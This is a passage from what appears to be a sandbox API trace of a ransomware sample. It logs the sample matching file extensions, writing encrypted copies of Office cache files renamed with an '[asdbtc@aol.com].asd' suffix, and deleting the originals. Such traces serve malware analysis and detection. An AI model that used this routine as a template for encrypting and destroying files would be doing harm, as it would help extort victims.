(lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.656] lstrlenW (lpString=".jpg") returned 4 [0053.656] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0053.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.656] lstrlenW (lpString=".doc") returned 4 [0053.656] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0053.656] lstrlenW (lpString=".docx") returned 5 [0053.656] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0053.656] lstrlenW (lpString=".pdf") returned 4 [0053.656] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0053.656] lstrlenW (lpString=".xls") returned 4 [0053.657] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0053.657] lstrlenW (lpString=".xlsx") returned 5 [0053.657] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0053.657] lstrlenW (lpString=".ppt") returned 4 [0053.657] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0053.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.657] lstrlenW (lpString=".zip") returned 4 [0053.657] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0053.657] lstrlenW (lpString=".rar") returned 4 [0053.657] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0053.657] lstrlenW (lpString=".bz2") returned 4 [0053.657] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0053.657] lstrlenW (lpString=".7z") returned 3 [0053.657] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0053.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.657] lstrlenW (lpString=".dbf") returned 4 [0053.657] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0053.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.657] lstrlenW (lpString=".1cd") returned 4 [0053.657] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0053.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.657] lstrlenW (lpString=".jpg") returned 4 [0053.657] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0053.657] lstrcmpiW (lpString1=".manifest", lpString2=".asd") returned 1 [0053.657] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0053.657] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.024] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1857) returned 1 [0054.024] CloseHandle (hObject=0x184) returned 1 [0054.024] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0054.024] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.024] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.024] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.024] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.024] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0054.631] GetLastError () returned 0x0 [0054.631] ReadFile (in: hFile=0x184, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x741, lpOverlapped=0x0) returned 1 [0054.632] WriteFile (in: hFile=0x168, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x750, lpOverlapped=0x0) returned 1 [0054.634] ReadFile (in: hFile=0x184, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.634] WriteFile (in: hFile=0x168, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0054.634] SetEndOfFile (hFile=0x168) returned 1 [0054.634] CloseHandle (hObject=0x168) returned 1 [0054.634] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.634] SetEndOfFile (hFile=0x184) returned 1 [0054.635] CloseHandle (hObject=0x184) returned 1 [0054.635] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0054.636] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0054.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.636] lstrlenW (lpString=".doc") returned 4 [0054.636] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0054.636] lstrlenW (lpString=".docx") returned 5 [0054.636] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0054.636] lstrlenW (lpString=".pdf") returned 4 [0054.636] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0054.636] lstrlenW (lpString=".xls") returned 4 [0054.636] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0054.636] lstrlenW (lpString=".xlsx") returned 5 [0054.636] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0054.636] lstrlenW (lpString=".ppt") returned 4 [0054.636] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0054.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.636] lstrlenW (lpString=".zip") returned 4 [0054.636] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0054.636] lstrlenW (lpString=".rar") returned 4 [0054.636] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0054.636] lstrlenW (lpString=".bz2") returned 4 [0054.636] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0054.636] lstrlenW (lpString=".7z") returned 3 [0054.637] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0054.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.637] lstrlenW (lpString=".dbf") returned 4 [0054.637] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0054.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.637] lstrlenW (lpString=".1cd") returned 4 [0054.637] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0054.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.637] lstrlenW (lpString=".jpg") returned 4 [0054.637] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0054.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.637] lstrlenW (lpString=".doc") returned 4 [0054.637] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0054.637] lstrlenW (lpString=".docx") returned 5 [0054.637] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0054.637] lstrlenW (lpString=".pdf") returned 4 [0054.637] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0054.637] lstrlenW (lpString=".xls") returned 4 [0054.637] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0054.637] lstrlenW (lpString=".xlsx") returned 5 [0054.637] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0054.637] lstrlenW (lpString=".ppt") returned 4 [0054.637] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0054.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.637] lstrlenW (lpString=".zip") returned 4 [0054.637] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0054.637] lstrlenW (lpString=".rar") returned 4 [0054.637] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0054.637] lstrlenW (lpString=".bz2") returned 4 [0054.638] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0054.638] lstrlenW (lpString=".7z") returned 3 [0054.638] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0054.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.638] lstrlenW (lpString=".dbf") returned 4 [0054.638] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0054.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.638] lstrlenW (lpString=".1cd") returned 4 [0054.638] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0054.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.638] lstrlenW (lpString=".jpg") returned 4 [0054.638] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0054.638] lstrcmpiW (lpString1=".dll", lpString2=".asd") returned 1 [0054.638] lstrlenW (lpString="msvcr90.dll") returned 11 [0054.638] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.639] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=655872) returned 1 [0054.639] CloseHandle (hObject=0x184) returned 1 [0054.639] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0054.639] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.639] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.639] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0054.640] GetLastError () returned 0x0 [0054.640] ReadFile (in: hFile=0x184, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0xa0200, lpOverlapped=0x0) returned 1 [0054.655] WriteFile (in: hFile=0x168, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0054.974] ReadFile (in: hFile=0x184, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.974] WriteFile (in: hFile=0x168, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.985] SetEndOfFile (hFile=0x168) returned 1 [0054.985] CloseHandle (hObject=0x168) returned 1 [0054.986] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.986] SetEndOfFile (hFile=0x184) returned 1 [0054.992] CloseHandle (hObject=0x184) returned 1 [0054.992] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0054.992] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0054.993] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.993] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.993] lstrlenW (lpString=".doc") returned 4 [0054.993] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.993] lstrlenW (lpString=".docx") returned 5 [0054.993] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.993] lstrlenW (lpString=".pdf") returned 4 [0054.993] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.993] lstrlenW (lpString=".xls") returned 4 [0054.993] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.993] lstrlenW (lpString=".xlsx") returned 5 [0054.993] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.993] lstrlenW (lpString=".ppt") returned 4 [0054.993] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.993] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.993] lstrlenW (lpString=".zip") returned 4 [0054.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.993] lstrlenW (lpString=".rar") returned 4 [0054.993] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.993] lstrlenW (lpString=".bz2") returned 4 [0054.993] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.993] lstrlenW (lpString=".7z") returned 3 [0054.993] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.993] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.993] lstrlenW (lpString=".dbf") returned 4 [0054.993] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.993] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.993] lstrlenW (lpString=".1cd") returned 4 [0054.993] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.994] lstrlenW (lpString=".jpg") returned 4 [0054.994] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.994] lstrlenW (lpString=".doc") returned 4 [0054.994] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.994] lstrlenW (lpString=".docx") returned 5 [0054.994] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.994] lstrlenW (lpString=".pdf") returned 4 [0054.994] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.994] lstrlenW (lpString=".xls") returned 4 [0054.994] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.994] lstrlenW (lpString=".xlsx") returned 5 [0054.994] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.994] lstrlenW (lpString=".ppt") returned 4 [0054.994] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.994] lstrlenW (lpString=".zip") returned 4 [0054.994] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.994] lstrlenW (lpString=".rar") returned 4 [0054.994] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.994] lstrlenW (lpString=".bz2") returned 4 [0054.994] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.994] lstrlenW (lpString=".7z") returned 3 [0054.994] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.994] lstrlenW (lpString=".dbf") returned 4 [0054.994] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.994] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.994] lstrlenW (lpString=".1cd") returned 4 [0054.995] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.995] lstrlenW (lpString=".jpg") returned 4 [0054.995] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.995] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0054.995] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0054.995] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.995] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=868864) returned 1 [0054.995] CloseHandle (hObject=0x184) returned 1 [0054.995] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0054.995] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.996] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.996] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.996] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.996] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0054.996] GetLastError () returned 0x0 [0054.996] ReadFile (in: hFile=0x184, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0055.079] WriteFile (in: hFile=0x168, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0055.433] ReadFile (in: hFile=0x184, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.433] WriteFile (in: hFile=0x168, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0055.433] SetEndOfFile (hFile=0x168) returned 1 [0055.433] CloseHandle (hObject=0x168) returned 1 [0055.433] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.433] SetEndOfFile (hFile=0x184) returned 1 [0055.442] CloseHandle (hObject=0x184) returned 1 [0055.443] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0055.443] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0055.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.443] lstrlenW (lpString=".doc") returned 4 [0055.443] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.443] lstrlenW (lpString=".docx") returned 5 [0055.443] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.443] lstrlenW (lpString=".pdf") returned 4 [0055.443] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.443] lstrlenW (lpString=".xls") returned 4 [0055.444] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.444] lstrlenW (lpString=".xlsx") returned 5 [0055.444] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.444] lstrlenW (lpString=".ppt") returned 4 [0055.444] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.444] lstrlenW (lpString=".zip") returned 4 [0055.444] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.444] lstrlenW (lpString=".rar") returned 4 [0055.444] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.444] lstrlenW (lpString=".bz2") returned 4 